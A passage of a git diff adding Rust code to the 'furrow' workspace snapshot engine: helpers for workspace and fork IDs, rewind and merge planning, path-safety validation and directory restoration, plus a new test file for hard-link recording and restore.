Ok(()) + } +} + +/// Where the object store lives inside a data directory. +pub fn store_path(data_dir: &Path) -> PathBuf { + data_dir.join(STORE_DIR) +} + +/// The engine's data directory: `FURROW_DATA_DIR`, else the platform default. +pub fn data_root() -> anyhow::Result { + if let Some(path) = std::env::var_os("FURROW_DATA_DIR") { + return Ok(PathBuf::from(path)); + } + let dirs = ProjectDirs::from("dev", "furrow", "furrow") + .context("cannot determine application data directory")?; + Ok(dirs.data_dir().to_owned()) +} + +fn ensure_family_id( + home: IdentityHome, + root: &Path, + store: &ObjectStore, + workspace_id: &str, +) -> anyhow::Result { + let repository_path = root.join(FAMILY_FILE); + let external_path = store.workspace_data_dir(workspace_id).join("family.id"); + let family_id = if external_path.exists() { + fs::read_to_string(&external_path)?.trim().to_owned() + } else if home.in_workspace() && repository_path.exists() { + fs::read_to_string(&repository_path)?.trim().to_owned() + } else { + let mut random = [0_u8; 16]; + getrandom::getrandom(&mut random) + .map_err(|error| anyhow::anyhow!("generate workspace family ID: {error}"))?; + hex::encode(random) + }; + write_family_id(home, root, store, workspace_id, &family_id)?; + Ok(family_id) +} + +fn write_family_id( + home: IdentityHome, + root: &Path, + store: &ObjectStore, + workspace_id: &str, + family_id: &str, +) -> anyhow::Result<()> { + anyhow::ensure!( + family_id.len() == 32 + && family_id + .bytes() + .all(|byte| byte.is_ascii_hexdigit() && !byte.is_ascii_uppercase()), + "invalid workspace family ID" + ); + let repository_path = root.join(FAMILY_FILE); + let external_path = store.workspace_data_dir(workspace_id).join("family.id"); + if !external_path.exists() || fs::read_to_string(&external_path)?.trim() != family_id { + atomic_write(&external_path, format!("{family_id}\n").as_bytes())?; + } + if home.in_workspace() + && (!repository_path.exists() || fs::read_to_string(&repository_path)?.trim() != family_id) + { + fs::create_dir_all( + repository_path + .parent() + .context("family file has no parent")?, + )?; + atomic_write(&repository_path, format!("{family_id}\n").as_bytes())?; + } + Ok(()) +} + +/// Where the ids that name a workspace are kept. An ordinary workspace carries +/// them in its own `.furrow/` folder, which survives the store being moved. A +/// composed workspace belongs to a caller that owns a store of its own and +/// wants nothing of the engine's in the tree, so its ids live only in the +/// store and the workspace is found there by its path. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum IdentityHome { + Workspace, + Store, +} + +impl IdentityHome { + fn of(composed: bool) -> Self { + if composed { + Self::Store + } else { + Self::Workspace + } + } + + fn in_workspace(self) -> bool { + self == Self::Workspace + } + + /// The workspace's id, minted when it has none yet. + fn attach_id(self, root: &Path, store: &ObjectStore) -> anyhow::Result { + match self { + Self::Store => Ok(match store.find_workspace(root.as_os_str().as_bytes())? { + Some(id) => id, + None => new_workspace_id(root), + }), + Self::Workspace => { + fs::create_dir_all(root.join(".furrow"))?; + match read_workspace_file(root)? { + Some(id) => Ok(id), + None => { + let id = new_workspace_id(root); + write_workspace_file(root, &id)?; + Ok(id) + } + } + } + } + } + + /// The id of a workspace that must already be watched. + fn open_id(self, root: &Path, store: &ObjectStore) -> anyhow::Result { + if self == Self::Workspace { + if let Some(id) = read_workspace_file(root)? { + return Ok(id); + } + } + let id = store + .find_workspace(root.as_os_str().as_bytes())? + .context("this repository is not watched; run `furrow watch` first")?; + if self == Self::Workspace { + write_workspace_file(root, &id)?; + } + Ok(id) + } +} + +/// The files a plan created and the directories that gained or lost an entry, +/// which is all a restore has to make durable. +fn applied_writes( + root: &Path, + target: &BTreeMap, FlatEntry>, + plan: &RewindPlan, +) -> anyhow::Result { + let mut files = Vec::new(); + let mut directories = BTreeSet::from([root.to_owned()]); + for change in &plan.changes { + let path = safe_join(root, &change.raw_path)?; + let is_file = target + .get(&change.raw_path) + .is_some_and(|flat| flat.entry.kind == EntryKind::File); + if is_file { + files.push(path.clone()); + } + directories.extend(nearest_directory(&path)); + } + Ok(Written { + root: root.to_owned(), + files, + directories: directories.into_iter().collect(), + }) +} + +/// The closest existing directory above `path`, where the entry for `path` +/// was added or removed. +fn nearest_directory(path: &Path) -> Option { + path.ancestors() + .skip(1) + .find(|candidate| { + candidate + .symlink_metadata() + .is_ok_and(|metadata| metadata.is_dir()) + }) + .map(Path::to_owned) +} + +/// Gives the overlay directory itself the mode and mtime its `.cell/` entry +/// recorded; the plan restores everything inside it, never the directory. +fn pin_directory(destination: &Path, entry: &TreeEntry) -> anyhow::Result<()> { + fs::set_permissions(destination, fs::Permissions::from_mode(entry.mode & 0o7777))?; + let mtime = FileTime::from_unix_time(entry.mtime_secs, entry.mtime_nanos); + filetime::set_file_mtime(destination, mtime)?; + Ok(()) +} + +fn read_workspace_file(root: &Path) -> anyhow::Result> { + let path = root.join(WORKSPACE_FILE); + if !path.exists() { + return Ok(None); + } + Ok(Some(fs::read_to_string(path)?.trim().to_owned())) +} + +fn write_workspace_file(root: &Path, id: &str) -> anyhow::Result<()> { + fs::create_dir_all(root.join(".furrow"))?; + atomic_write(&root.join(WORKSPACE_FILE), format!("{id}\n").as_bytes()) +} + +fn new_workspace_id(root: &Path) -> String { + let mut hasher = blake3::Hasher::new(); + hasher.update(root.as_os_str().as_bytes()); + let (secs, nanos) = now(); + hasher.update(&secs.to_le_bytes()); + hasher.update(&nanos.to_le_bytes()); + hasher.update(&std::process::id().to_le_bytes()); + hex::encode(&hasher.finalize().as_bytes()[..16]) +} + +fn now() -> (i64, u32) { + let duration = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default(); + (duration.as_secs() as i64, duration.subsec_nanos()) +} + +fn metadata_time(metadata: &fs::Metadata) -> (i64, u32) { + (metadata.mtime(), metadata.mtime_nsec().max(0) as u32) +} + +fn stable_metadata(before: &fs::Metadata, after: &fs::Metadata) -> bool { + before.dev() == after.dev() + && before.ino() == after.ino() + && before.len() == after.len() + && before.mtime() == after.mtime() + && before.mtime_nsec() == after.mtime_nsec() + && before.ctime() == after.ctime() + && before.ctime_nsec() == after.ctime_nsec() + && before.mode() == after.mode() +} + +fn directory_target_only_difference(before: Option<&TreeEntry>, after: Option<&TreeEntry>) -> bool { + let (Some(before), Some(after)) = (before, after) else { + return false; + }; + if before.kind != EntryKind::Directory || after.kind != EntryKind::Directory { + return false; + } + let mut before = before.clone(); + let mut after = after.clone(); + before.target = None; + after.target = None; + before == after +} + +fn recovery_route(class: crate::content_class::ContentClass) -> &'static str { + use crate::content_class::ContentClass; + match class { + ContentClass::Dependency | ContentClass::BuildOutput | ContentClass::Scratch => { + "regenerate-or-fetch" + } + ContentClass::Database => "replica-or-database-backup", + ContentClass::Source + | ContentClass::VcsMeta + | ContentClass::ConfigSecret + | ContentClass::Lockfile => "replica-or-none", + } +} + +pub(crate) fn derive_materialization( + store: &ObjectStore, + snapshot_id: &ObjectId, +) -> anyhow::Result { + let snapshot: Snapshot = store.read_struct(snapshot_id, ObjectKind::Snapshot)?; + let mut stack = vec![(snapshot.root_tree, Vec::::new())]; + let mut missing_paths = Vec::new(); + let mut partial_classes = BTreeSet::new(); + while let Some((tree_id, prefix)) = stack.pop() { + tree::for_each_entry(store, &tree_id, |entry| { + let mut path = prefix.clone(); + if !path.is_empty() { + path.push(b'/'); + } + path.extend_from_slice(&entry.name); + match (entry.kind, entry.target) { + (EntryKind::Directory, Some(target)) => stack.push((target, path)), + (EntryKind::File, Some(target)) => { + let blob: Blob = store.read_struct(&target, ObjectKind::Blob)?; + let mut missing = false; + for chunk in &blob.chunks { + if !store.contains_object(&chunk.id)? { + missing = true; + break; + } + } + if missing { + partial_classes.insert(entry.class); + missing_paths.push(MissingMaterializationPath { + path: String::from_utf8_lossy(&path).into_owned(), + class: entry.class.as_str(), + recovery: recovery_route(entry.class), + raw_path: path, + }); + } + } + _ => {} + } + Ok(()) + })?; + } + missing_paths.sort_by(|left, right| left.path.as_bytes().cmp(right.path.as_bytes())); + Ok(MaterializationReport { + grade: if missing_paths.is_empty() { + "exact" + } else { + "partial" + }, + partial_classes: partial_classes + .into_iter() + .map(|class| class.as_str()) + .collect(), + missing_paths, + }) +} + +/// The attributes of an entry that a restore sets: a head sealed before the +/// system's own attributes were left out may still carry them. +fn restorable_xattrs(entries: Vec) -> impl Iterator { + entries + .into_iter() + .filter(|entry| !system_attrs::is_system_managed(OsStr::from_bytes(&entry.name))) +} + +fn cached_matches(cached: &CachedFile, metadata: &fs::Metadata) -> bool { + cached.device == metadata.dev() + && cached.inode == metadata.ino() + && cached.size == metadata.len() + && cached.mtime_secs == metadata.mtime() + && cached.mtime_nanos == metadata.mtime_nsec() + && cached.ctime_secs == metadata.ctime() + && cached.ctime_nanos == metadata.ctime_nsec() + && cached.mode == metadata.mode() +} + +fn entry_matches_metadata(entry: &TreeEntry, metadata: &fs::Metadata) -> bool { + let file_type = metadata.file_type(); + let kind_matches = match entry.kind { + EntryKind::File => file_type.is_file(), + EntryKind::Directory => file_type.is_dir(), + EntryKind::Symlink => file_type.is_symlink(), + EntryKind::Fifo => file_type.is_fifo(), + EntryKind::SocketMarker => file_type.is_socket(), + }; + let (secs, nanos) = metadata_time(metadata); + kind_matches + && entry.mode == metadata.mode() + && entry.mtime_secs == secs + && entry.mtime_nanos == nanos + && (entry.kind != EntryKind::File || entry.size == metadata.len()) +} + +/// What reading a regular file produced. +struct FileRead { + blob: ObjectId, + xattrs: Option, + sqlite: bool, + stat: fs::Metadata, + read_at_nanos: i64, +} + +#[derive(Default)] +struct Chunked { + chunks: Vec, + total_len: u64, + sqlite: bool, +} + +fn cached_from_read(read: &FileRead) -> CachedFile { + let metadata = &read.stat; + CachedFile { + device: metadata.dev(), + inode: metadata.ino(), + size: metadata.len(), + mtime_secs: metadata.mtime(), + mtime_nanos: metadata.mtime_nsec(), + ctime_secs: metadata.ctime(), + ctime_nanos: metadata.ctime_nsec(), + mode: metadata.mode(), + blob_id: read.blob, + xattrs: read.xattrs, + sqlite: read.sqlite, + cached_at_nanos: read.read_at_nanos, + } +} + +fn file_entry(name: Vec, class: ContentClass, row: &CachedFile) -> TreeEntry { + TreeEntry { + name, + kind: EntryKind::File, + target: Some(row.blob_id), + link_target: Vec::new(), + mode: row.mode, + size: row.size, + mtime_secs: row.mtime_secs, + mtime_nanos: row.mtime_nanos.max(0) as u32, + xattrs: row.xattrs, + class, + } +} + +fn special_entry(name: Vec, kind: EntryKind, mode: u32, secs: i64, nanos: u32) -> TreeEntry { + TreeEntry { + name, + kind, + target: None, + link_target: Vec::new(), + mode, + size: 0, + mtime_secs: secs, + mtime_nanos: nanos, + xattrs: None, + class: crate::content_class::ContentClass::Scratch, + } +} + +fn atomic_write(path: &Path, bytes: &[u8]) -> anyhow::Result<()> { + let parent = path.parent().context("path has no parent")?; + fs::create_dir_all(parent)?; + let mut temp = tempfile::NamedTempFile::new_in(parent)?; + temp.write_all(bytes)?; + temp.as_file().sync_all()?; + temp.persist(path).map_err(|error| error.error)?; + Ok(()) +} + +fn validate_fork_name(name: &str) -> anyhow::Result<()> { + anyhow::ensure!(!name.is_empty(), "fork name cannot be empty"); + anyhow::ensure!(name.len() <= 96, "fork name cannot exceed 96 bytes"); + anyhow::ensure!( + name.bytes() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'-' | b'_' | b'.')), + "fork name may contain only letters, numbers, dot, dash, and underscore" + ); + anyhow::ensure!(name != "." && name != "..", "invalid fork name"); + Ok(()) +} + +fn ceiling_div(value: u64, divisor: u64) -> u64 { + value / divisor + u64::from(value % divisor != 0) +} + +fn absolute_destination(destination: &Path) -> anyhow::Result { + if destination.is_absolute() { + Ok(destination.to_owned()) + } else { + Ok(std::env::current_dir()?.join(destination)) + } +} + +/// Resolve and validate a fork destination shared by every `prepare_fork*` +/// variant: it must be absolute, absent, and its parent must exist. +fn prepare_fork_destination(destination: &Path) -> anyhow::Result { + let destination = absolute_destination(destination)?; + anyhow::ensure!( + !destination.exists(), + "fork destination already exists: {}", + destination.display() + ); + if let Some(parent) = destination.parent() { + fs::create_dir_all(parent) + .with_context(|| format!("create fork parent {}", parent.display()))?; + } + Ok(destination) +} + +/// Tally of tree-entry kinds and bytes, shared by fork planning (from either +/// the live path index or a stored snapshot's tree) and by CoW/store +/// materialization accounting. +#[derive(Default, Clone, Copy)] +struct TreeUsage { + files: u64, + directories: u64, + symlinks: u64, + fifos: u64, + skipped_special: u64, + logical_bytes: u64, +} + +impl TreeUsage { + fn record(&mut self, entry: &TreeEntry) { + match entry.kind { + EntryKind::File => { + self.files += 1; + self.logical_bytes = self.logical_bytes.saturating_add(entry.size); + } + EntryKind::Directory => self.directories += 1, + EntryKind::Symlink => self.symlinks += 1, + EntryKind::Fifo => self.fifos += 1, + EntryKind::SocketMarker => self.skipped_special += 1, + } + } +} + +fn build_fork_plan( + fork_id: String, + name: &str, + destination: PathBuf, + base_snapshot: String, + usage: TreeUsage, + at_snapshot: bool, +) -> ForkPlan { + let entries = usage + .files + .saturating_add(usage.directories) + .saturating_add(usage.symlinks) + .saturating_add(usage.fifos) + .saturating_add(usage.skipped_special); + let metadata_entries_per_second = if cfg!(target_os = "macos") { + 7_500 + } else { + 2_500 + }; + let projected_native_cow_ms = + ceiling_div(entries.saturating_mul(1_000), metadata_entries_per_second).max(10); + let projected_streaming_copy_ms = projected_native_cow_ms.saturating_add(ceiling_div( + usage.logical_bytes.saturating_mul(1_000), + 250 * 1024 * 1024, + )); + ForkPlan { + fork_id, + name: name.to_owned(), + destination, + base_snapshot, + files: usage.files, + directories: usage.directories, + symlinks: usage.symlinks, + fifos: usage.fifos, + skipped_special: usage.skipped_special, + logical_bytes: usage.logical_bytes, + worst_case_copied_bytes: usage.logical_bytes, + projected_native_cow_ms, + projected_streaming_copy_ms, + at_snapshot, + } +} + +fn fork_summary( + fork_id: &str, + name: &str, + destination: PathBuf, + base: ObjectId, + head: ObjectId, + report: ForkReport, +) -> ForkSummary { + ForkSummary { + fork_id: fork_id.to_owned(), + name: name.to_owned(), + destination, + base_snapshot: id_hex(&base), + head_snapshot: id_hex(&head), + tier: report.tier, + files: report.files, + directories: report.directories, + symlinks: report.symlinks, + fifos: report.fifos, + skipped_special: report.skipped_special, + logical_bytes: report.logical_bytes, + cloned_bytes: report.cloned_bytes, + copied_bytes: report.copied_bytes, + hardlinked_files: report.hardlinked_files, + elapsed_ms: report.elapsed.as_millis().min(u64::MAX as u128) as u64, + atomic_hierarchy: report.atomic_hierarchy, + created_at: now().0, + conflicts: 0, + conflict_paths: Vec::new(), + radar_stale: false, + radar_updated_at: None, + } +} + +pub fn new_fork_id() -> anyhow::Result { + let mut bytes = [0_u8; 16]; + getrandom::getrandom(&mut bytes) + .map_err(|error| anyhow::anyhow!("generate fork ID: {error}"))?; + Ok(hex::encode(bytes)) +} + +fn validate_fork_id(value: &str) -> anyhow::Result<()> { + anyhow::ensure!( + value.len() == 32 && value.bytes().all(|byte| byte.is_ascii_hexdigit()), + "invalid fork ID" + ); + Ok(()) +} + +fn legacy_fork_id(name: &str, base_snapshot: &str) -> String { + let mut hasher = blake3::Hasher::new(); + hasher.update(b"furrow:legacy-fork-id:v1\0"); + hasher.update(name.as_bytes()); + hasher.update(b"\0"); + hasher.update(base_snapshot.as_bytes()); + hex::encode(&hasher.finalize().as_bytes()[..16]) +} + +fn write_fork_id(repository: &FurrowRepository, fork_id: &str) -> anyhow::Result<()> { + validate_fork_id(fork_id)?; + atomic_write( + &repository.root.join(FORK_FILE), + format!("{fork_id}\n").as_bytes(), + )?; + atomic_write( + &repository.workspace_data_dir().join("fork.id"), + format!("{fork_id}\n").as_bytes(), + ) +} + +fn merge_rewind_plan( + store: &ObjectStore, + ours_root: &ObjectId, + changes: &[merge::MergeChange], +) -> anyhow::Result<(RewindPlan, BTreeMap, FlatEntry>)> { + let mut rewind_changes = Vec::with_capacity(changes.len()); + let mut target = BTreeMap::new(); + for change in changes { + let (action, entry) = match &change.action { + MergeAction::Set(entry) => ( + if tree::find_path(store, ours_root, &change.path)?.is_some() { + "replace" + } else { + "restore" + }, + Some(entry.clone()), + ), + MergeAction::Remove => ("remove", None), + }; + rewind_changes.push(RewindChange { + path: display_relative(&change.path), + action, + raw_path: change.path.clone(), + }); + if let Some(entry) = entry { + target.insert(change.path.clone(), FlatEntry { entry }); + } + } + Ok(( + RewindPlan { + preview_digest: rewind_preview_digest("merge", None, &rewind_changes), + target: "merge".to_owned(), + current_tree: None, + changes: rewind_changes, + held: Vec::new(), + }, + target, + )) +} + +fn merge_path_allowed(path: &[u8]) -> bool { + // Git remains canonical for repository history. The .furrow directory's + // mtime is transport metadata, while its policy and hook children remain + // ordinary merge inputs. + path != b".furrow" && path != b".git" && !path.starts_with(b".git/") +} + +fn rewind_preview_digest( + target: &str, + current_tree: Option<&str>, + changes: &[RewindChange], +) -> String { + let mut hasher = blake3::Hasher::new(); + hasher.update(b"furrow:rewind-preview:v1\0"); + hasher.update(target.as_bytes()); + hasher.update(b"\0"); + hasher.update(current_tree.unwrap_or_default().as_bytes()); + for change in changes { + hasher.update(b"\0"); + hasher.update(change.action.as_bytes()); + hasher.update(b"\0"); + hasher.update(&change.raw_path); + } + hex::encode(hasher.finalize().as_bytes()) +} + +fn merge_preview_digest( + base: &str, + ours_tree: &str, + theirs_tree: &str, + plan: &merge::MergePlan, +) -> String { + let mut hasher = blake3::Hasher::new(); + hasher.update(b"furrow:merge-preview:v1\0"); + for value in [base, ours_tree, theirs_tree] { + hasher.update(value.as_bytes()); + hasher.update(b"\0"); + } + hasher.update(&serde_json::to_vec(plan).expect("merge plan is serializable")); + hex::encode(hasher.finalize().as_bytes()) +} + +fn command_output(stdout: &[u8], stderr: &[u8]) -> String { + const LIMIT: usize = 16 * 1024; + let mut combined = Vec::with_capacity(stdout.len().saturating_add(stderr.len()).min(LIMIT)); + combined.extend_from_slice(stdout); + if !stdout.is_empty() && !stderr.is_empty() { + combined.push(b'\n'); + } + combined.extend_from_slice(stderr); + if combined.len() > LIMIT { + combined.drain(..combined.len() - LIMIT); + } + String::from_utf8_lossy(&combined).trim().to_owned() +} + +fn validate_name(name: &[u8]) -> anyhow::Result<()> { + anyhow::ensure!(!name.is_empty(), "empty path component in snapshot"); + anyhow::ensure!( + name != b"." && name != b"..", + "unsafe path component in snapshot" + ); + anyhow::ensure!( + !name.contains(&0) && !name.contains(&b'/'), + "invalid path component in snapshot" + ); + Ok(()) +} + +fn validate_relative_path(path: &[u8]) -> anyhow::Result<()> { + let path = Path::new(OsStr::from_bytes(path)); + anyhow::ensure!( + path.components() + .all(|component| matches!(component, Component::Normal(_))), + "invalid changed path" + ); + Ok(()) +} + +fn relative_parent(path: &[u8]) -> Vec { + Path::new(OsStr::from_bytes(path)) + .parent() + .map_or_else(Vec::new, |parent| parent.as_os_str().as_bytes().to_vec()) +} + +fn path_depth(path: &[u8]) -> usize { + Path::new(OsStr::from_bytes(path)).components().count() +} + +fn safe_join(root: &Path, relative: &[u8]) -> anyhow::Result { + let path = PathBuf::from(OsString::from_vec(relative.to_vec())); + for component in path.components() { + anyhow::ensure!( + matches!(component, Component::Normal(_)), + "unsafe rewind path" + ); + } + Ok(root.join(path)) +} + +fn ensure_safe_parent(root: &Path, destination: &Path) -> anyhow::Result<()> { + let relative = destination + .strip_prefix(root) + .context("rewind path escaped workspace")?; + let mut current = root.to_path_buf(); + if let Some(parent) = relative.parent() { + for component in parent.components() { + let Component::Normal(name) = component else { + bail!("unsafe rewind path") + }; + current.push(name); + if let Ok(metadata) = fs::symlink_metadata(¤t) { + anyhow::ensure!( + !metadata.file_type().is_symlink(), + "refusing to traverse symlink parent during rewind: {}", + current.display() + ); + } + } + } + Ok(()) +} + +/// True when a file on disk has the mode, size and modification time of its +/// tree entry: a restore sets all three, so a file that has them is the one it +/// wrote or one that was already right. +fn stat_matches_entry(metadata: &fs::Metadata, entry: &TreeEntry) -> bool { + metadata.is_file() + && metadata.permissions().mode() == entry.mode + && metadata.len() == entry.size + && metadata.mtime() == entry.mtime_secs + && metadata.mtime_nsec().max(0) as u32 == entry.mtime_nanos +} + +/// How a plan is written: whether each file is flushed as it lands, and the +/// snapshot whose recorded hard links are put back once the files are in. +#[derive(Clone, Copy)] +struct ApplyMode<'a> { + sync_each_file: bool, + links: Option<&'a Snapshot>, +} + +fn selected(path: &[u8], selections: &[PathBuf]) -> bool { + if selections.is_empty() { + return true; + } + let candidate = Path::new(OsStr::from_bytes(path)); + selections + .iter() + .any(|selection| candidate == selection || candidate.starts_with(selection)) +} + +fn changed_path_matches(root: &Path, path: &Path, expected: &[u8]) -> bool { + let absolute = if path.is_absolute() { + path.to_owned() + } else { + root.join(path) + }; + absolute + .strip_prefix(root) + .ok() + .is_some_and(|relative| relative.as_os_str().as_bytes() == expected) +} + +fn changed_path_is_identity(root: &Path, path: &Path) -> bool { + let absolute = if path.is_absolute() { + path.to_owned() + } else { + root.join(path) + }; + absolute + .strip_prefix(root) + .ok() + .is_some_and(|relative| is_identity_path(relative.as_os_str().as_bytes())) +} + +fn is_identity_path(path: &[u8]) -> bool { + path == b".furrow" || path.starts_with(b".furrow/") +} + +fn test_pause(variable: &str) { + let Some(milliseconds) = std::env::var_os(variable) + .and_then(|value| value.to_str().and_then(|value| value.parse::().ok())) + else { + return; + }; + std::thread::sleep(std::time::Duration::from_millis(milliseconds.min(5_000))); +} + +fn subtree_intersects(path: &[u8], selections: &[PathBuf]) -> bool { + if selections.is_empty() { + return true; + } + let candidate = Path::new(OsStr::from_bytes(path)); + selections + .iter() + .any(|selection| candidate.starts_with(selection) || selection.starts_with(candidate)) +} + +/// A repository-relative path split into its directory (empty at the root) and +/// its last name. +fn split_parent(path: &[u8]) -> (&[u8], &[u8]) { + match path.iter().rposition(|byte| *byte == b'/') { + Some(at) => (&path[..at], &path[at + 1..]), + None => (&[], path), + } +} + +/// The owner's read, write and search bits, which a directory needs while a +/// restore fills it. +const OWNER_WRITABLE_DIR: u32 = 0o700; + +/// Create `destination` so its owner can fill it. The recorded mode is applied +/// by [`finish_directory`] after the children are in place, which lets a +/// read-only directory that holds files be written at all. +fn prepare_directory(destination: &Path, entry: &TreeEntry) -> anyhow::Result<()> { + fs::create_dir_all(destination)?; + fs::set_permissions( + destination, + fs::Permissions::from_mode(entry.mode | OWNER_WRITABLE_DIR), + )?; + Ok(()) +} + +/// Give a filled directory its recorded mode and mtime. This runs deepest +/// first, after every child is written, so a child write cannot move the +/// captured timestamp and a read-only mode cannot block the children. +fn finish_directory(destination: &Path, entry: &TreeEntry) -> anyhow::Result<()> { + fs::set_permissions(destination, fs::Permissions::from_mode(entry.mode))?; + let mtime = FileTime::from_unix_time(entry.mtime_secs, entry.mtime_nanos); + filetime::set_file_mtime(destination, mtime)?; + Ok(()) +} + +fn display_relative(path: &[u8]) -> String { + String::from_utf8_lossy(path).into_owned() +} + +fn remove_path(path: &Path) -> anyhow::Result<()> { + let metadata = fs::symlink_metadata(path)?; + if metadata.file_type().is_dir() && !metadata.file_type().is_symlink() { + fs::remove_dir_all(path)?; + } else { + fs::remove_file(path)?; + } + Ok(()) +} + +fn is_not_found(error: &anyhow::Error) -> bool { + error.chain().any(|cause| { + cause + .downcast_ref::() + .is_some_and(|io| io.kind() == std::io::ErrorKind::NotFound) + }) +} + +fn duration_ms(duration: std::time::Duration) -> u64 { + u64::try_from(duration.as_millis()).unwrap_or(u64::MAX) +} + +fn sync_pull_outcome( + disposition: SyncDisposition, + local_snapshot: String, + pulled: &sync::PulledHead, + apply_timings: ApplyTimings, +) -> SyncPullOutcome { + SyncPullOutcome { + disposition, + local_snapshot, + remote_snapshot: id_hex(&pulled.snapshot), + remote_base_root: pulled.base_root.map(|id| id_hex(&id)), + fetched_objects: pulled.report.fetched_objects, + reused_objects: pulled.report.reused_objects, + fetched_bytes: pulled.report.fetched_bytes, + materialized_files: pulled.report.materialized_files, + timings: pulled.report.timings.clone(), + apply_timings, + } +} + +#[cfg(test)] +mod hardlink_tests; +#[cfg(test)] +mod odd_names_tests; +#[cfg(test)] +mod seal_tests; diff --git a/engine/furrow-core/src/repository/hardlink_tests.rs b/engine/furrow-core/src/repository/hardlink_tests.rs new file mode 100644 index 0000000000..5280eebf65 --- /dev/null +++ b/engine/furrow-core/src/repository/hardlink_tests.rs @@ -0,0 +1,229 @@ +//! Hard links of a folder: a snapshot records which paths were one file, and a +//! restore makes them one file again without ever tying them to a file that +//! lives outside the tree. + +use super::seal_tests::DATA_DIR; +use super::*; +use std::os::unix::fs::MetadataExt; + +struct Folder { + _guard: std::sync::MutexGuard<'static, ()>, + temp: tempfile::TempDir, + root: PathBuf, +} + +impl Folder { + fn new() -> Self { + let guard = DATA_DIR.lock().unwrap_or_else(|poison| poison.into_inner()); + let temp = tempfile::tempdir().unwrap(); + std::env::set_var("FURROW_DATA_DIR", temp.path().join("data")); + let root = temp.path().join("work"); + fs::create_dir_all(&root).unwrap(); + Self { + _guard: guard, + temp, + root, + } + } + + fn write(&self, relative: &str, body: &str) { + let path = self.root.join(relative); + fs::create_dir_all(path.parent().unwrap()).unwrap(); + fs::write(path, body).unwrap(); + } + + fn link(&self, from: &str, to: &str) { + let path = self.root.join(to); + fs::create_dir_all(path.parent().unwrap()).unwrap(); + fs::hard_link(self.root.join(from), path).unwrap(); + } + + fn inode(&self, relative: &str) -> u64 { + fs::metadata(self.root.join(relative)).unwrap().ino() + } + + fn seal(&self) -> (FurrowRepository, ObjectId) { + FurrowRepository::attach_and_seal( + &self.root, + Some("test".to_owned()), + SnapshotTrigger::AgentRun, + SealOptions::default(), + ) + .unwrap() + } + + /// Empties the folder the way a machine that never had the files is empty. + fn clear(&self) { + for child in fs::read_dir(&self.root).unwrap() { + let path = child.unwrap().path(); + if path.file_name() != Some(OsStr::new(".furrow")) { + remove_path(&path).unwrap(); + } + } + } +} + +fn groups_of(repository: &FurrowRepository, id: &ObjectId) -> Vec> { + let snapshot: Snapshot = repository + .store + .read_struct(id, ObjectKind::Snapshot) + .unwrap(); + snapshot + .hardlinks + .iter() + .map(|group| { + group + .paths + .iter() + .map(|path| String::from_utf8(path.to_vec()).unwrap()) + .collect() + }) + .collect() +} + +#[test] +fn a_snapshot_records_the_paths_that_are_one_file_and_no_others() { + let folder = Folder::new(); + folder.write("a.txt", "shared\n"); + folder.link("a.txt", "deep/b.txt"); + folder.write("lone.txt", "alone\n"); + folder.write("other.txt", "second\n"); + folder.link("other.txt", "other-too.txt"); + folder.link("other.txt", "z/other-three.txt"); + + let (repository, id) = folder.seal(); + + assert_eq!( + groups_of(&repository, &id), + vec![ + vec!["a.txt", "deep/b.txt"], + vec!["other-too.txt", "other.txt", "z/other-three.txt"], + ] + ); +} + +#[test] +fn a_file_shared_only_with_something_outside_the_tree_is_not_a_group() { + let folder = Folder::new(); + let outside = folder.temp.path().join("seed-source.txt"); + fs::write(&outside, "seeded\n").unwrap(); + fs::hard_link(&outside, folder.root.join("seeded.txt")).unwrap(); + folder.write("plain.txt", "plain\n"); + + let (repository, id) = folder.seal(); + + assert_eq!(fs::metadata(&outside).unwrap().nlink(), 2); + assert!(groups_of(&repository, &id).is_empty()); +} + +#[test] +fn a_snapshot_without_links_serialises_exactly_as_before_the_field_existed() { + let folder = Folder::new(); + folder.write("a.txt", "one\n"); + let (repository, id) = folder.seal(); + let bytes = repository + .store + .read_bytes(&id, ObjectKind::Snapshot) + .unwrap(); + + assert!(!String::from_utf8_lossy(&bytes).contains("hardlinks")); + let snapshot: Snapshot = serde_json::from_slice(&bytes).unwrap(); + assert!(snapshot.hardlinks.is_empty()); +} + +#[test] +fn a_restore_makes_the_recorded_paths_one_file_again() { + let folder = Folder::new(); + folder.write("a.txt", "shared\n"); + folder.link("a.txt", "deep/b.txt"); + folder.write("lone.txt", "alone\n"); + let (repository, id) = folder.seal(); + folder.clear(); + drop(repository); + + let mut repository = FurrowRepository::open(&folder.root).unwrap(); + repository.rewind(&id, &[], false).unwrap(); + + assert_eq!(folder.inode("a.txt"), folder.inode("deep/b.txt")); + assert_ne!(folder.inode("a.txt"), folder.inode("lone.txt")); + let metadata = fs::metadata(folder.root.join("a.txt")).unwrap(); + assert_eq!(metadata.nlink(), 2); + assert_eq!( + fs::read_to_string(folder.root.join("deep/b.txt")).unwrap(), + "shared\n" + ); +} + +#[test] +fn a_restore_links_members_that_were_already_there_as_separate_copies() { + let folder = Folder::new(); + folder.write("a.txt", "shared\n"); + folder.link("a.txt", "b.txt"); + let (repository, id) = folder.seal(); + // The other machine holds the same bytes, with the same times, as two files. + let metadata = fs::metadata(folder.root.join("a.txt")).unwrap(); + fs::remove_file(folder.root.join("b.txt")).unwrap(); + fs::copy(folder.root.join("a.txt"), folder.root.join("b.txt")).unwrap(); + let mtime = FileTime::from_last_modification_time(&metadata); + filetime::set_file_mtime(folder.root.join("b.txt"), mtime).unwrap(); + assert_ne!(folder.inode("a.txt"), folder.inode("b.txt")); + drop(repository); + + let mut repository = FurrowRepository::open(&folder.root).unwrap(); + repository.rewind(&id, &[], false).unwrap(); + + assert_eq!(folder.inode("a.txt"), folder.inode("b.txt")); +} + +#[test] +fn a_restore_never_writes_through_the_file_it_shares_with_the_outside() { + let folder = Folder::new(); + folder.write("a.txt", "new\n"); + folder.link("a.txt", "b.txt"); + let (repository, id) = folder.seal(); + folder.clear(); + // A seeded folder: its files are links to the previous folder's files. + let previous = folder.temp.path().join("previous-a.txt"); + fs::write(&previous, "old\n").unwrap(); + fs::hard_link(&previous, folder.root.join("a.txt")).unwrap(); + drop(repository); + + let mut repository = FurrowRepository::open(&folder.root).unwrap(); + repository.rewind(&id, &[], false).unwrap(); + + assert_eq!(fs::read_to_string(&previous).unwrap(), "old\n"); + assert_eq!(folder.inode("a.txt"), folder.inode("b.txt")); + assert_ne!( + folder.inode("a.txt"), + fs::metadata(&previous).unwrap().ino() + ); + assert_eq!( + fs::read_to_string(folder.root.join("b.txt")).unwrap(), + "new\n" + 